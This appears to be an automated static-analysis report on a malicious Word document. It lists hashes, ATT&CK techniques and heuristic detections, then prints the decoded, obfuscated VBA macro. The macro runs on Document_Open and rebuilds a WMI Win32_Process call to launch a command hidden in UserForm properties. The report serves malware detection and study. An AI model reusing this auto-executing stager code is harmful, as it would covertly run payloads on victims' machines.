Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d91be34190b9b896…

MALICIOUS

Office (OLE)

168.2 KB Created: 2020-07-22 13:51:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 3cf5735263c10989430459c92c46aa52 SHA-1: 8c558009ce06f8bcef93dc16feba7c3b5c547732 SHA-256: d91be34190b9b89643df001c84f53e81f31f141643b13090479ad89306a4fae0
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager. This indicates an attempt to automatically execute malicious code upon opening the document. The macro uses CreateObject to instantiate an object, suggesting it's designed to download and execute a second-stage payload. The ClamAV detection name further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9606121-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9606121-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11487 bytes
SHA-256: beadfb197a38fdb427788169e792aacd1af62ef6cdecf7149b5fecb4ea3f4542
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "boukbausbeoz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
womgaemlaiqu
End Sub


Attribute VB_Name = "jeivzel"
Attribute VB_Base = "0{434346B2-C0BF-41A7-BE84-47411D982D8F}{E6568979-DCBB-45F5-BB2C-F7898D984096}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "thuzreicjaodluuh"
Function womgaemlaiqu()
feazcoedquuul = Chr(jeivzel.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
ceaquxaip = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + feazcoedquuul + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + jeivzel.woirniepbouquleog + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
fouwxookcaequ = goefwat(ceaquxaip)
Dim uVS8Üe As Long
Set roadthiequweir = CreateObject(fouwxookcaequ)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
liosguch = jeivzel.leathlool.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
biawwaobtous = fouwxookcaequ + feazcoedquuul + jeivzel.biosgewthuunkoif.ControlTipText + liosguch
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
buuquthoumnoin = biawwaobtous + jeivzel.woirniepbouquleog
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set livvaichciab = zuachthauxdoof(buuquthoumnoin)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", roadthiequweir. _
Create(baucgiawquios, zoecfaozyiodriot, livvaichciab), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function zuachthauxdoof(heogguzsir)
Set zuachthauxdoof = CreateObject(heogguzsir)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
zuachthauxdoof _
. _
showwindow = (loejziav + xeukwagpoas) + (thuulzolvefneif + deolqueevked)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function goefwat(laisxoorkaop)
curxaswej = laisxoorkaop
Dim k2ÁtJPgnG As Date
wabgax = Split(curxaswej, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
yoedbeer = we + Join(wabgax, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
goefwat = yoedbeer
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function baucgiawquios()
aqw = jeivzel.seethpeosriathsoiz.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
baucgiawquios = goefwat(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function


' Processing file: /opt/analyzer/scan_staging/537d756da83a47c5a2251df5d7f9ca18.bin
' ===============================================================================
' Module streams:
' Macros/VBA/boukbausbeoz - 1361 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub boukbausbeoz())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/jeivzel - 118
... (truncated)